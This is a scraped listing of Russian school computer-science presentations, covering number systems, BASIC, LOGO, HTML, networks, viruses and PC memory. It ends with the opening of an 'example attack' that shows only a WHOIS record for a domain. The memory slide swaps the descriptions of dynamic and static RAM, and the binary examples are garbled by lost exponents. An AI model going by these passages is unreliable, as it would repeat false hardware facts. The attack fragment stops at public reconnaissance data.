title: Скачать презентацию или конспект Системы счисления и операторы ЛОГО

extracted_text:
Повторение  курса информатики 7 класс
Двоичная  система счисления
p=2 – основание системы;
0, 1  – алфавит
1 0 1 0 0 12 = 120 + 021 + 022 + 123 + 024 + 125 = 1 + 8 + 32 =  4110

20

21

22

23
24
25
1
20
0
21
0
22
1
23
0
24
1
25
1001012   =
1010102   =
1 + 021 + 122 + 023 + 024 + 125 = 1 + 4 + 32 = 3710
0 + 121 + 022 + 123 + 024 + 125 = 2 + 8 + 32 = 4210
Перевод из двоичной системы счисления в десятичную:
…, ¼, ½, 1, 2, 4, 8, 16, 32, …  – базис
(…, 2-2, 2-1, 20, 21, 22, 23, 24, 25, …)
1 байт = 8 бит
1 Кбайт = 1024 байт
1 Мбайт = 1024 Кбайт
1 Гбайт = 1024 Мбайт

Линейная структура программы.

Программа имеет линейную структуру,
если все операторы (команды) выполняются последовательно друг за другом.

Некоторые операторы языка Basic.
REM – оператор комментария. CLS - очистить экран. Вся информация, которая была на экране, стирается.
PRINT (вывод, печать) – оператор вывода.
INPUT (ввод) – оператор ввода. Используется для передачи в программу каких-либо значений.
LET переменная=арифметическое_выражение или просто
переменная=арифметическое_выражение

Принцип работы оператора присваивания: вначале выполняется арифметическое выражение, стоящее справа от знака присваивания. Затем полученное значение присваивается переменной, стоящей слева от знака присваивания.
Пример:
Let D=SQR(B*B-4*A*C)

D=SQR(B*B-4*A*C)

D=D+25

Примеры задач:
Найти периметр и площадь прямоугольника:
ПРОСТЕЙШИЕ ГРАФИЧЕСКИЕ ПОСТРОЕНИЯ

ГРАФИЧЕСКИЕ ПРИМИТИВЫ

Оператор    SCREEN  N
Графические режимы характеризуются количеством точек по вертикальной и
горизонтальной осям экрана. Начало системы координат, т.е. точка с координатами (0,0),
расположена в верхнем левом углу экрана. Последняя точка находится в нижнем
правом углу.

						для       SCREEN 9

              (0,0)

                                                                      (640,350)
Линия, которая в заданном графическом режиме проведет диагональ на экране.
SCREEN 12: LINE (0,0)– (640,480)
Как построить прямоугольник?
LINE (X1,Y1)– (X2– Y2), C, B
Как записать процедуру LINE для отображения закрашиваемого прямоугольника?
LINE (X1,Y1)– (X2– Y2), C, BF
Как построить окружность?
CIRCLE (x, y), r, c где х, у - координаты центра окружности; r- радиус окружности; с - цвет окружности.
CIRCLE (300, 200), 150, 2

Для рисования можно использовать следующие операторы:

ТАБЛИЦА. КОДЫ И СООТВЕТСТВУЮЩИЕ ЦВЕТА.

Повторение операторов ЛОГО

Пример 1. Примерный текст процедуры квадрата следующий:

это квадрат
по
повтори 4[ вп 60 пр 90]
конец
Пример 2. Примерный текст процедуры треугольника.

Введем для них один параметр, означающий длину стороны правильной фигуры. Обозначим его :д.

это тр :д
по
повтори 3[вп :д пр 120]
конец
Пример 4. Использование процедур в процедурах

Созданные пользователем процедуры используются также, как и обычные команды для черепашек. Попробуем, например, использовать созданную ранее процедуру для рисования узора:
Этот узор составлен из шести квадратов, повернутых относительно друг друга на 600. Текст программы узора может быть таким:

это узор
нрп 4 нц 25 по
повтори 6[квадрат пр 60]
конец
Пример 3. Научим черепашку рисовать закрашенные квадраты
это кв :д :ц			заголовок с определением двух параметров 				(длина стороны и цвет)
нц :ц				смена цвета пера черепашки
по повтори 4 [вп :д пр 90]		рисование квадрата со стороной :д

пп вп 2 пр 90 вп 2			переход черепашки с поднятым пером внутрь 				квадрата

крась				закраска внутренней области квадрата

нд 2 лв 90 нд 2			обратный переход в угол квадрата

конец				окончание процедуры
Задача. Составить программу рисования фигуры по выбору (в команде ЗАПРОС 1 или 2). Каждая фигура выполняется с помощью процедуры с параметрами.

это запрос
спроси [ 1 или 2]
если ответ = “ 1 [ красный квадрат]
если ответ = “ 2 [ синий круг ]
конец

это синий круг
по повтори 360  [ вм 1 пр 1] нк 0 нд 15 нц 3 крась пп
конец

это красный квадрат
по повтори 4 [ вп 30 пр 90 ] нц 5 нд 15 крась пп нк 90 вп 60 нк 0
конец
Задание1. Создать программы рисования:

трех вложенных окружностей разного размера и цвета в левом верхнем углу экрана

Задание 2. Составить программу, которая по запросу

 1 – рисует маленький треугольник,

2 - рисует большой треугольник, состоящий из 3-х маленьких  (используется процедура, которая рисует маленький треугольник)


title: Скачать презентацию или конспект Контент для Интенет-магазина

extracted_text:
Контент для интенет-магазина
Егоров Никита, 24 апреля 2012
Что такое контент?

Контент (Content)
Контент – это содержание. Содержание вашего сайта. Если говорить просто – текст, картинки и видео. Если сложнее – это то, какую мысль вы хотите донести до посетителей.

80% информации человек получает визуально.

98% пользователей лень читать текст, если рядом нет увлекательной картинки.
www.ilovemum.ru
Важную информацию всегда лучше отображать визуально.
Контент (Content)
Изображение повышает уровень восприятия

Дублирование информации о специальных ценах на какой-либо товар.

Например, стильные флисовые слингокуртки
всего за  2900 руб…
Информация о способах оплаты: Visa, MasterCard и т.д.

Пользователи не всегда знают ваши возможности…
Успейте купить товары на распродаже, ограничение по времени.

Те, кто уже готов купить, обязательно обратят внимание…
Спасибо за информацию!
Текст, фото и видео
Текст + картинка + видео

Сила видео в том, что мы можем подробно рассказать о том, как использовать товар, какие у него особенности, а также подключить слух, в качестве органа восприятия.
Текст + картинка

Картинка попадает сразу в мозг, напрямую, ее не нужно читать, но совершенно необходимо, чтобы картинка соответствовала тексту.
Текст
Весь минус обычного текста в том, что его нужно читать. Пользователь сначала читает текст, затем его понимает.
Типовая схема подготовки контента для интернет-магазина
Правила:- готовим контент ДО ДИЗАЙНА- готовим схему расположения элементов- готовим таблицу с количеством и размерами: текстов, картинок- разделяем ответственность между заказчиком и исполнителем- анализируем результаты
Шаг 1. Готовим макет сайта
Макет сайта – это схематическое изображение основных элементов. Макет создается для того, чтобы утвердить наличие или отсутствие тех или иных компонентов в дизайне.

Макет позволяет заранее понять, что именно необходимо, для того чтобы заполнить сайт перед запуском.

макет подготовлен в программе
www.balsamiq.com
Шаг 2. Что нужно сделать?
        Заказчик

Текст «О компании»
Текст «Доставка»
Текст «Оплата»
Фотографии менеджеров
Шаблон текста для кат.
Шаблон текста для тов.
         Исполнитель

Тексты для всех кат.
Тексты для всех тов.
Обработка фото товаров
Обработка фото мен.
SEO для категорий
SEO для товаров
Загрузка цен из 1С
        Дополнительно

Видео «О компании»
Фотосессия для мен.
Буклет в стиле сайта
Купоны в стиле сайта
Дизайн-макет рассылки
Шаг 3. Таблица элементов контента
Каждый товар в каталоге содержит: 300-400 знаков короткого описания, до 800 знаков полного описания, минимум 1 фотографию размером 150х200, до 10 фотографий размером 800х600 – изображение товара должно занимать 80%-90% фотографии, цену (если нужно «старую цену»), таблицу характеристик и заголовки, описание и ключевые слова для SEO.
Подробно, на примере списка «Каталог»
Шаг 4. Хранение и выгрузка контента
Обмен можно проводить автоматически

Автоматически, каждый день, в равные промежутки времени. Любые условия, доработки и т.д. Все это возможно, интеграция – основная компетенция
ВЦ СофтСервис
Картинки, видео на сайте

Картинки, фотографии, видео лучше хранить на сайте, это позволяет не загружать излишней информацией учетную базу.
Описание товара, цены и остатки в 1С
Текстовую информацию, которая касается вашего товарного каталога можно спокойно хранить в 1С и обновлять ее обмениваясь с сайтом.
Шаг 5. Изменение показателей сайта
время на сайте

Время на сайте – среднее время, проведённое на сайте посетителями. Рассчитывается как разница между временем последнего и первого зарегистрированного просмотра страницы посетителем в рамках одного визита.
глубина просмотра

Глубина просмотра – среднее число страниц, просмотренных в рамках визитов посетителей сайта. Является частным от деления просмотров на визиты.
% отказов
Отказы – это доля визитов с длительностью менее 15 секунд, в рамках которых состоялся лишь 1 просмотр страницы
Шаг 6. Анализ проделанной работы
Анализ проделанной работы с
помощью Вебвизор
Вебвизор записывает действия посетителей вашего сайта и позволяет вам просматривать их в режиме «живого видео».

Воспользовавшись плеером, вы увидите точное повторение всех действий посетителя на сайте, как если бы смотрели в его монитор:

— движения мыши;
— клики;
— прокрутка страницы;
— клавиши и заполнение форм;
— выделение и копирование;
Результаты и достижения за 2 месяца после разработки нового контента
Это типовые результаты, которые мы наблюдаем после
реформации контента
Хорошо подготовленная информация для сайта формирует совершенно другой уровень восприятия и доверия, эти показатели невозможно измерить. Однако повышение объема продаж, повторных покупок и покупок по рекомендациям дает пищу к размышлению.
Ждем вас на следующем семинаре!
Егоров Никита, 24 апреля 2012


title: Скачать презентацию или конспект Страница 6 «р» на сайте школы

extracted_text:
Издательский проект ученицы 6       класса «Р»
              Сазоновой Адели
Страница 6 «р» на сайте школы
Цели и задачи проекта
Цель:
Создание раздела «6 класс «Р» на сайте школы», информирующих о жизни класса.
Задачи:
Сбор материалов для страницы класса:
Написание статей, фотографирование, обобщение материалов.
Обработка материалов с помощью компьютерных средств.
Размещение материалов на сайте.
Гипотеза проекта
Я предполагаю, что созданный интернет-ресурс будет интересен и востребован ученика и 6 «Р», учащимися других классов, а, возможно и их родителями!
План моего проекта
1. О сайте школы
2. Схема работы над проектом:
             - Выбор темы
             - Сбор материалов
             - Обработка материалов
             - Размещение материалов
 Результаты опросов
Вывод
О сайте школы
Схема работы над проектом
Выбор темы и сбор материалов
Как же лучше оформить..
Обработка материалов

Раздел 6 «Р» на сайте школы
Знаете ли вы о страничке класса на сайте школы?

Готовы ли помогать создавать страничку класса?

Нравится ли вам страничка класса?

Заключение
По результатам опросов я поняла, что все знают о страничке класса, но не все готовы помогать делать её.
Всем, кто знает о страничке класса, она нравится!
Список литературы
Авторские статьи
Интернет-ресурсы:

Авторские фото: Королева Ольга Олеговна ( классный руководитель 6 «Р» класса), Сазонова Адель.
	Огромное спасибо за             внимание!


title: Скачать презентацию или конспект Архитектура набора команд

extracted_text:
Архитектура набора команд
Instruction set architecture
Размер команды
Фиксированный
переменный
Структура команды
Битовые поля:
Адреса операндов
Код команды
Уточнения типа операции
Методы адресации
Размер операндов
Ассемблер
Автокодовый язык
Взаимно-однозначное соответствие команды процессора и записи на языке ассемблера
Макровозможности ассемблера
Регистры pdp11
Общего назначения:

R0 R1 R2 R3 R4 R5 R6 R7

R6 – указатель стека
R7 – счетчик команд
Служебные регистры
SP   (KSP, SSP, USP)
PC
PSW
Структура команды
Двухадресная
 Р КОП М1 Р1 М2 Р2
Одноадресная
 Р КОП М1 Р1
Со смещением
 КОП смещение
Регистровая адресация
 КОП Р1 М2 Р2
Методы адресации
0 регистровый
1 регистровый косвенный
2 регистровый с автоувеличением
3 косвенно-регистровый с автоувеличением
4 регистровый с автоуменьшением
5 косвенно-регистровый с автоуменьшением
6 индексный
7 косвенно-индексный

Типы команд по адресности
Двухадресные
Обноадресные
Безадресные
Неполной адресации
Регистровой адресации
Относительной адресации (смещение)
Двухадресные команды
Р – размер операнда (1)
КОП – 0 - одноадресные
             1 mov
             2 cmp
             3 bit
             4 bic
             5 bis
             6 add, sub (только слова)
             7 дополнительные

Одноадресные команды
Р – размер операнда (1)
КОП (6)

Работа с памятью
Оба операнда могут находиться в памяти
Адресуются 64 кб памяти
Диспетчер памяти позволяет использовать большее адресное пространство, но каждая задача ограничена размером 64 кб
Доступ к ячейке произвольный, слово имеет только четный адрес
Можно адресовать байты

Команды перехода
br
beq
bne
bge
ble
bcc
bcs

bvs
bvc
bpl
bmi
bgt
blt

Управляющие команды
Sec
Sev
Sez
Sen
Scc
Halt
Reset
emt
Clc
Clv
Clz
Cln
Ccc

Bpt
iot
Ассемблирование
Сборка команды по ее мнемонике
mov R5, (R4)+              010524
01 – код команды
0 – тип адресации первого операнда
1 – регистр первого операнда
2 – тип адресации второго операнда
4 – регистр второго операнда

Ввод - вывод
Через регистры устройств, расположенных в адресном пространстве памяти
Нет особых команд ввода-вывода
Верхние 4к памяти отведено под регистры
Распределение адресного пространства I/O
Пример программы
EKS=177564
EDS=177566
      mov 20,r1
A:   mov #52,@#EDS
B:   tstb @#EKS
      bpl b
      sob r1,a
Адресация через счетчик команд
27 mov #4,r5
37 tst @#12
67 mov adres, r4
77 ror @adres
Характеристики набора команд
  НАЛИЧИЕ команд
Арифметических
Логических
Сдвиговых
Переходов по условию
Управления
   богатство методов адресации ,
   основа ISA последующих ЭВМ CISC


title: Скачать презентацию или конспект Создание статической веб-страницы, содержащей текст

extracted_text:
ТЕМА: Создание статической веб – страницы, содержащей текст

Давайте вспомним, какие услуги предоставляет Internet?

Какая из перечисленных услуг является самой популярной?

WWW – всемирная паутина, которая позволяет просматривать Web - страницы
Основные понятия языка гипертекстов.
Web – страницы находятся  на Web – сервере.

Web – сервер - компьютер в сети Internet, хранящий Web-страницы и соответствующие программы для работы с ними.
Информация на Web – сервере представлена в виде Web – сайта.
Web – сайт – это объединение Web – страниц одной темой.

На Web – страницах находится информация: текстовая, графическая, звуковая, видео. Поэтому Web – страницы являются мультимедийными.
Для того, чтобы создать Web – страницу нужно написать программу.
А на каком языке мы будем писать программу для создания
Web – страницы? (На языке HTML).
Слово «HTML» представляет собой сокращение от «HyperText Markup Language» - «язык разметки гипертекста».

Основным понятием языка HTML
является понятие тег.

ТЕГ – инструкция браузеру,  указывающая способ отображения информации.

Даны теги, определить парные и одиночные
теги.
<H1> </H1>,
<Br>,
<Head> </Head>

Теги пишутся с использованием, какого алфавита?

Латинского

При написании тегов используются только буквы?

Нет, еще и цифры

Существует три класса программных средств, используемых для создания web – страниц и сайтов. Все они имеют свои преимущества и недостатки.

Обычные текстовые редакторы, например Блокнот.
При этом web – страница полностью создается вручную, путем вставки в требуемый текст необходимых тегов. Это самый трудоемкий и отнимающий много времени способ. Но благодаря ему вам становится понятной вся технология сайтостроения.

HTML-редакторы.
Это уже специальные программы, с помощью которых создаются web – страницы. Обычно работа в них также производится с текстом HTML-документа, но предусмотрен ряд инструментов, позволяющих автоматически вставлять в текст соответствующие теги. Просмотр окончательного результата производится в браузере. Такая программа – хороший помощник, намного ускоряющий создание страниц. Но при работе с ней вы также должны быть знакомы с основами HTML.

WYSIWYG редакторы.
Программы для создания  web – страниц и сайтов WYSIWYG редакторы (сокращение фразы «What You See Is What You Get» - «Что видишь, то и получаешь») позволяют создавать web – страницы, даже ни имея никакого понятия о языке HTML, путем визуального редактирования на экране дисплея. При этом страница в окне редактора выглядит почти также, как должна отображаться в браузере, а при сохранении результатов работы в файле программа автоматически генерирует требуемый HTML-код

<H1> Заголовок первого уровня </H1>
<H2> Заголовок второго уровня </H2>
<H3> Заголовок третьего уровня </H3>
<H4> Заголовок четвертого уровня </H4>
<H5> Заголовок пятого уровня </H5>
<H6> Заголовок шестого уровня </H6>


title: Скачать презентацию или конспект Растровая графика

extracted_text:
Растровая графическая информация
Презентация по информатике
 Ученицы  9 класса Б
МБОУСЩШ №63
Беловой Кристины
    Растровое изображение — изображение, представляющее собой сетку пикселей или цветных точек (обычно прямоугольную) на мониторе, бумаге и других отображающих устройствах и материалах (растр).    Важными характеристиками изображения являются:количество пикселей — может указываться отдельно количество пикселей по ширине и высоте (1024×768, 640×480 и т. п.) или же общее количество пикселей;количество используемых цветов или глубина цвета (эти характеристики имеют следующую зависимость: , где  — количество цветов,  — глубина цвета);цветовое пространство (цветовая модель) — RGB, CMYK, XYZ, YCbCr и др.;разрешение — справочная величина, говорящая о рекомендуемом размере изображения.
ПреимуществаРастровая графика позволяет создать практически любой рисунок.Распространённость — растровая графика используется сейчас практически везде: от маленьких значков до плакатов.Высокая скорость обработки сложных изображений, если не нужно масштабирование.Растровое представление изображения естественно для большинства устройств ввода-вывода графической информации, таких как мониторы (за исключением векторных устройств вывода), матричные и струйные принтеры, цифровые фотоаппараты, сканеры, а также сотовые телефоны.
НедостаткиБольшой размер файлов у простых изображений.Невозможность идеального масштабирования.Невозможность вывода на печать на векторный графопостроитель.Из‑за этих недостатков для хранения простых рисунков рекомендуют вместо даже сжатой растровой графики использовать векторную графику.
ИсторияПервые вычислительные машины не имели отдельных средств для работы с графикой, однако уже использовались для получения и обработки изображений. Программируя память первых электронных машин, построенную на основе матрицы ламп, можно было получать узоры.В 1961 году программист С. Рассел возглавил проект по созданию первой компьютерной игры с графикой. Создание игры «Spacewar» («Космические войны») заняло около 200 человеко-часов. Игра была создана на машине PDP-1.В 1963 году американский учёный Айвен Сазерленд создал программно-аппаратный комплекс Sketchpad, который позволял рисовать точки, линии и окружности на трубке цифровым пером. Поддерживались базовые действия с примитивами: перемещение, копирование и др. По сути, это был первый векторный редактор, реализованный на компьютере. Также программу можно назвать первым графическим интерфейсом, причём она являлась таковой ещё до появления самого термина.В середине 1960-х гг. появились разработки в промышленных приложениях компьютерной графики. Так, под руководством Т. Мофетта и Н. Тейлора фирма Itek разработала цифровую электронную чертёжную машину. В 1964 году General Motors представила систему автоматизированного проектирования DAC-1, разработанную совместно с IBM.В 1968 году группой под руководством Константинова Н. Н. была создана компьютерная математическая модель движения кошки. Машина БЭСМ-4, выполняя написанную программу решения дифференциальных уравнений, рисовала мультфильм «Кошечка», который для своего времени являлся прорывом. Для визуализации использовался алфавитно-цифровой принтер. Существенный прогресс компьютерная графика испытала с появлением возможности запоминать изображения и выводить их на компьютерном дисплее.
В середине 1960-х гг. появились разработки в промышленных приложениях компьютерной графики. Так, под руководством Т. Мофетта и Н. Тейлора фирма Itek разработала цифровую электронную чертёжную машину. В 1964 году General Motors представила систему автоматизированного проектирования DAC-1, разработанную совместно с IBM.В 1968 году группой под руководством Константинова Н. Н. была создана компьютерная математическая модель движения кошки. Машина БЭСМ-4, выполняя написанную программу решения дифференциальных уравнений, рисовала мультфильм «Кошечка», который для своего времени являлся прорывом. Для визуализации использовался алфавитно-цифровой принтер. Существенный прогресс компьютерная графика испытала с появлением возможности запоминать изображения и выводить их на компьютерном дисплее.
ФорматыРастровые изображения обычно хранятся в сжатом виде. В зависимости от типа сжатия может быть возможно или невозможно восстановить изображение в точности таким, каким оно было до сжатия (сжатие без потерь или сжатие с потерями соответственно). Так же в графическом файле может храниться дополнительная информация: об авторе файла, фотокамере и её настройках, количестве точек на дюйм при печати и др.


title: Скачать презентацию или конспект Компьютерные вирусы и антивирусные программы

extracted_text:
Компьютерные вирусы.Антивирусные программы.

Выполнила: ученица 9 класса
МКОУ Старо-Тарабинская ООШ имени Героев Соеветского Союза А.С. Красилова и Л.А. Черемнова.
                                  Бельбизекова  Любовь
Презентация подготовлена для конкурса "Интернешка“ http://interneshka.org/

 Компьютерный вирус — вредоносная программа, которая умеет воспроизводить копии самой себя и самостоятельно проникать (внедрять свои копии) в код других программ, базы данных, загрузочные секторы жёсткого диска и т. д.

На главную
Появление компьютерноговируса.
Вирусы могут «размножаться», и скрыто внедрять свои копии в файлы, загрузочные сектора дисков и документов. Первая эпидемия произошла в 1986г (вирус «Brain» - мозг по англ.) Всемирная эпидемия заражения почтовым вирусом началась 5 мая 2000г, когда компьютеры по сети Интернета получили сообщения «Я тебя люблю» с вложенным файлом, который и содержал вирус.

На главную.
Какие бывают вирусы?
Файловый вирус — это могут быть исполняемые файлы с расширением .exe или .com , динамические библиотеки .dll , или системные файлы .sys . Принцип у них всегда один — заставить пользователя запустить себя, после этого заразить другие файлы (зачастую системные) и при обращении системы к этим файлам вирус сможет совершать вредоносные действия.

Загрузочные вирус — по принципу схож с файловыми вирусами, но, как следует из названия, поражает загрузочные сектора устройств, если поражён жесткий диск, то загрузка вируса может проходить до загрузки операционной системы.

На главную
Как защитить свой компьютер ?
Существует много способов , как защитить свой ПК, например, регулярно сохранять резервные копии своих данных на компакт-диск (CD), но есть намного легче способ –это установить антивирусную программу и больше не беспокоится всю «грязную» работу сделает он.

На главную
Антивирусная программа, что же это ?
Оказывается ,это программа, которая предназначенная для борьбы с компьютерными вирусами.

На главную
А какой антивирусник  выбрать, какой лучше?
1. Антивирус Касперского

Плюсы:
-наиболее известная и популярная в свое время защитная программа;
-постоянно обновляемые базы данных, которые позволяют вовремя обнаруживать вредоносные файлы;
-большинство вирусов заносятся в реестр Касперского на неделю раньше, в отличие от конкурирующих программ.
Минусы:
-не совсем удобное меню;
-иногда Касперский блокирует работу многих файлов, ссылаясь на их вредоносный характер.

На главную

Nod 32

Плюсы:
-имеет достаточно продуманный и аккуратный интерфейс;
-здесь пользователю предлагается широкое разнообразие различных возможностей;
-быстрая проверка памяти ПК, малотребователен.

Минусы:
-зачастую программа «паникует» при открытии неизвестного файла;
-поверхностно проверяет компьютер, уделяя мало внимания папкам с видеофайлами.

На главную
Вот мы и подошли к концу, знай, выбор за тобой будешь ли ты охранять свой компьютер (ноутбук) от вредоносных программ (от вирусах). Желаю чтоб ваш ПК был «здоров».

На главную
Спасибо за внимание!

На главную


title: Скачать презентацию или конспект Информационные компьютерные сети

extracted_text:
ИНФОРМАЦИОННЫЕ КОМПЬЮТЕРНЫЕ СЕТИ
9 КЛАСС
	КОМПЬЮТЕРНАЯ СЕТЬ (англ. Net) – это совокупность компьютеров и других устройств, соединенных линиями связи и обменивающихся информацией между собой в соответствии с определенными правилами – протоколами.
Для создания компьютерной сети требуется сетевое оборудование  и сетевое программное обеспечение.
	Локальная сеть объединяет несколько компьютеров и дает возможность пользователям совместно использовать ресурсы этих компьютеров, а также подключенных к сети периферийных устройств (принтеры, плоттеры…).
	Для того, чтобы устройства в сети могли «общаться», необходимо установить правила, по которым будет передаваться, получаться, кодироваться и декодироваться информация.
	Свод таких правил называется протоколами передачи данных.
	Скорость передачи данных по каналу связи измеряется количеством единиц информации, передаваемых за единицу времени (бит/сек, килобит/сек…).
Объем информации, передаваемой по сети за определенный промежуток времени, называется трафиком.
	Узел – это устройство, соединенное с другими устройствами компьютерных сетей.
	Узлами могут быть компьютеры, специальные сетевые устройства.
Для того чтобы информация, передаваемая по сети, достигала нужных адресатов, каждый сетевой узел получает уникальный адрес - IP-адрес, который имеет длину 4 байта.
Для удобства IP-адрес записывают в виде четырех чисел со значениями от 0 до 255, разделенных точками.
125.57.4.120

Адрес сети
Адрес подсети
Адрес компьютера  в подсети
Доменное имя (англ. domain – область) – состоит из буквенных идентификаторов (доменов), разделяемых точками.
kvn.liga.obl.ru
Домен первого уровня
Домен второго уровня
Домен третьего уровня
Домен четвертого уровня
	Домены первого уровня бывают двух типов – географические и административные.
НЕКОТОРЫЕ ИМЕНА ДОМЕНОВ ПЕРВОГО УРОВНЯ
АДМИНИСТРАТИВНЫЕ
edu – образовательные проекты и вузы США
org – некоммерческие организации
сom – коммерческие организации
ГЕОГРАФИЧЕСКИЕ
ru -  Россия
uk - Великобритания
it  -  Италия
	Перед доменным именем указывают имя протокола, который используется для общения с узлом.
Имя протокола отделяется от доменного имени последовательностью символов : / /  .
http://www.mon.gov.ru означает, что общение с узлом происходит с использованием протокола НТТР.
Современные браузеры (поисковые системы – мощные ПК и программы просмотра веб-страниц) самостоятельно подставляют имя протокола в адрес запрашиваемого ресурса.

Поисковые системы состоят из трех компонентов:
поисковый робот, который перемещается по сети и собирает информацию;
база данных, которая содержит постоянно обновляемую информацию о местонахождении веб-страниц и файлов на сотнях миллионов серверов Интернета, собираемую роботом;
поисковый механизм, который используется как интерфейс для взаимодействия с БД.
Поисковые роботы – это специальные программы, которые занимаются поиском страниц в сети, извлекают гипертекстовые ссылки на этих страницах и автоматически индексируют информацию, которую они находят для построения базы данных.
	Поисковые системы осуществляют поиск информации по ключевым словам.
	Ключевое слово документа – это слово или словосочетание, которое отражает содержание данного документа.
Доступ к файлу htm.txt, находящемуся на сервере com.ru, осуществляется по протоколу http. Записать последовательность букв, кодирующую адрес указанного файла в сети Интернет:
А) /
Б) cоm
В) .txt
Г) ://
Д) .ru
Е) htm
Ж) http
Ответ:
ЖГБДАЕВ
ЗАДАНИЕ


title: Скачать презентацию или конспект Архитектура ПК

extracted_text:
Организация памяти в персональном
компьютере

10011
1010
0111
010
101
00
10
01
10
00
1
0
В ЭВМ используется память нескольких типов, отличающихся по своему функциональному назначению и конструктивным способам хранения информации.

?

Оперативная память RAM (random access memory) это массив кристаллических ячеек, способных хранить данные.
Рассмотрим физический принцип действия оперативной памяти. С этой точки зрения различают:
 динамическую память (Dynamic – RAM)
 статическую (Static – RAM)
Динамическая память представляет собой триггерную микросхему, обладающую   энергонезависимостью. Такую дорогостоящую в производстве память используют при создании регистров в микропроцессоре. Это CASH (КЭШ) память 3х уровней. Ее основное назначение – обеспечение работы микропроцессора.
ОЗУ – оперативное запоминающее устройство
Статическая память – это массив микроконденсаторов, способных удерживать данные в виде электрических зарядов. Эти заряды со временем рассеиваются, поэтому для длительного хранения данных требуется источник энергии.
Статическая память является энергозависимой. Процесс подзарядки называют регенерацией памяти. Статическая память является более дешевой в производстве. Обычно микроконденсаторы объединяют в блоки – модули, которые удобно монтировать на материнскую плату.
ПЗУ – постоянное запоминающее устройство
При запуске ПК свою первую команду процессор находит в памяти, которая в отличии от оперативной хранит данные постоянно, даже после отключения компьютера. Такая память называется постоянной (ROM – read only memory).

В постоянной памяти «зашиты» программы, необходимые компьютеру для запуска. Основное назначение этих программ -  состоит в том, чтобы проверить состав и работоспособность компьютерной системы сразу после включения.
Помимо, ROM в компьютере существует еще один тип памяти, назначение которой – хранить данные об устройствах, подключенных к ПК и  их текущей конфигурации.
Такая память называется CMOS – это память с невысоким быстродействием и минимальным потреблением энергии (от батарейки на материнской плате).

В CMOS хранятся данные о системном времени и дате, о составе и наличии того или иного оборудования, режимах работы ПК.
BIOS –
BASIC INPUT/OUTPUT SYSTEM


title: Скачать презентацию или конспект Путешествие по островам клавиатуры

extracted_text:
Урок «Путешествие по островам клавиатуры»
Методист МОУ ДПО "РИММЦ" Кунгурского района Панова Екатерина Николаевна
Преподаватель МОУ ДПО "ИЦ" Горнозаводского района Пермской области Перина Анна Валерьевна

Цель урока: освоение клавиатуры – важнейшего устройства ввода информации в память компьютера
	Задачи урока:
	образовательные:
активизация и закрепление знаний учащихся по теме «Устройства компьютера и их назначение»;
систематизация и расширение знаний учащихся о назначении клавиш;
контроль уровня  знаний,  умений и  навыков учащихся по теме   «Группы клавиш и их назначение»;
пропедевтика нового понятия  «алгоритм»

	развивающие:
развитие логического мышления учащихся — умений выделять главное, существенное, обобщать имеющуюся информацию;
развитие у школьников навыков самостоятельной работы;
развитие воображения;
	воспитательные:
формирование у учащихся познавательной потребности, интереса к предметуза счет игровой формы работы;
воспитание дисциплинированности;
формирование чувства коллективизма и здорового соперничества;
повышение грамотности устной речи учащихся;
воспитание стремления к преодолению возможных негативных последствийдля здоровья при работе на компьютере за счет соблюдения техники безопасности.

План урока.

Организационный момент
Актуализация знаний по теме «Устройства компьютера и их назначение»
Систематизация и углубление знаний по теме «Группы клавиш и их назначение»
Контроль уровня знаний, умений и навыков по теме «Группы клавиш и ихназначение»
Подведение итогов урока. Домашнее задание
Ход урока
Здравствуйте! Я очень рада всех вас видеть. Улыбнемся друг другу и начнем урок.
Целый месяц мы с вами осваивали азы компьютерной грамотности: изучали основные устройства компьютера, учились работать с мышкой, запускали с ее помощью программы, осваивали клавиатуру.
Сегодня мы подведем первые итоги нашей работы. Для этого я предлагаю отправиться в своеобразное путешествие. Итак, тема нашего урока: «Путешествие по островам клавиатуры».
Отправляясь в путешествие, люди собирают необходимый багаж, планируют и изучают маршрут. Давайте и мы начнем собираться.
В качестве багажа возьмем наши знания и умения
Мы будем не только путешествовать, но и соревноваться.
Карта удивительных островов висит перед вами.
Есть у нас две команды путешественников и два бесстрашных капитана. Мы будем не только путешествовать, но и соревноваться. За каждое пройденное испытание, верно выполненное задание, правильный ответ на вопрос команды будут получать «бригантинку». Если кто-то из игроков не сможет выполнить доставшееся ему задание, он может передать ход кому-нибудь из своей команды. Правда, команда в этом случае получит не «бригантинку», а только ее половину. Побеждает команда, игроки которой наберут больше «бригантинок».
Обратите внимание на карту. На ней изображены разноцветные острова, но ни один из островов не имеет названия. А так и заблудиться недолго. Чтобы исследовать острова, предлагаю вам ответить на мои вопросы.
Вопрос 1
   Какая группа клавиш соответствует сиреневому острову?

   Верно, символьная. Значит, можем назвать сиреневый остров островом символьных клавиш.
Сиреневый остров
Вопрос 2
Какая группа клавиш соответствует зеленым островам?

   Верно, управления курсором. Значит, можем назвать зеленые острова островами управления курсором.
Зеленые острова
Вопрос 3
Какая группа клавиш соответствует розовым островам?

   Верно, специальная. Значит, можем назвать розовые острова островами специальных клавиш.
Розовые острова
Вопрос 4
Какая группа клавиш соответствует желтому острову? (Ответы ребят.) Верно, дополнительная. Значит, можем назвать желтый остров островом дополнительных клавиш.
Желтый остров

Какая группа клавиш соответствует голубому острову?
Голубой остров
Вопрос 5
Теперь давайте проверим ваши знания на практике
	Отметьте устройства, предназначенные для ввода информации в компьютер.
Принтер
Процессор
Монитор
Сканер
Графопостроитель
Джойстик
Клавиатура
Мышь
Микрофон
Акустические колонки
Дискета
Отметьте названия групп клавиш на клавиатуре

Цифровые
Дополнительные
Символьные
Латинские
Функциональные
Специальные
Управления курсором
Управляющие
	Отметьте клавиши управления курсором
End
Пробел
Shift
Home
Esc
PageUp
↑
Enter
→
	Укажите основную позицию пальцев на клавиатуре

ФЫВА — ОЛДЖ
АБВГ — ДЕЁЖ
ОЛДЖ — ФЫВА
Наше путешествие подходит к концуВот ваше домашнее задание:

Каждая клавиша на клавиатуре выполняет свою функцию.  Попытайтесьпредставить и нарисовать одну клавишу (или несколько) в виде веселых человечковно так, чтобы было видно, для чего эта клавиша нужна.
Как вы думаете, мы полностью научились работать на компьютере? Конечно нет Нас с вами ждет еще не одно путешествие в удивительный мир компьютера.
Спасибо за внимание!


title: Скачать презентацию или конспект Пример сетевой атаки

extracted_text:
Пример атаки

ACMETRADE.COM
Registrant:
Acmetrade.com, Inc. (ACMETRADE-DOM)
    6600 Peachtree Dunwoody Road
    Atlanta, GA 30338

    Domain Name: ACMETRADE.COM

    Administrative Contact:
        Vaughn, Danon (ES2394) dvaughn@ACMETRADE.COM
        (678)443-6000 (FAX) (678) 443-6476
    Technical Contact, Zone Contact:
